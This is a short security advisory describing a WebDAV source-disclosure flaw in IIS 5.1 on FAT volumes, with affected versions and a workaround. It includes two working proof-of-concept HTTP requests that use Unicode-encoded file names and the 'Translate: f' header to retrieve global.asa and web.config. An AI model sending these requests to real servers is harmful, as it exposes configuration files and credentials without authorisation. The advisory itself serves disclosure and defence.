It is possible to remotely view the source code of web script files though a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be vulnerable. The web script file must be on a FAT or a FAT32 volume, web scripts located on NTFS volumes are not vulnerable.
Confirmed vulnerable
-Microsoft® Internet Information Server® V5.1:
a. Microsoft® Windows® XP Pro. with SP2(English)
b. Microsoft® Windows® XP Pro. with SP2(Norwegian)
c. Microsoft® Windows® XP Pro. with SP1(Swedish)
Confimed not vulnerable
-Microsoft® Internet Information Server® V5.0:
a. Microsoft® Windows® 2000 Server with SP4(English)
-Microsoft® Internet Information Server® V6.0:
a. Microsoft® Windows® 2003 Standard(English)
Vendor status
Notified
Solution
Don't use FAT or FAT32 with IIS 5.1
Techical description
WebDAV allows for retrieving streams using the "Translate: f" HTTP header, the processing of this header has logic built into it so that web script files are not processed, this logic can be avoided by using Unicode characters instead in one of the letters of the file.The file must be on a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden" HTTP response instead.
Proof of Concept #1
I have used the server "www.yourserver.xom" here, replace with your own server name.
Proof of Concept #2
Shows the source of /global.asa:
GET /global.%C4%80sa HTTP/1.1
Translate: f
Host: localhost
Connection: Close
Shows the XML in /web.config:
GET /web.%c4%89onfig HTTP/1.1
Translate: f
Host: localhost
Connection: Close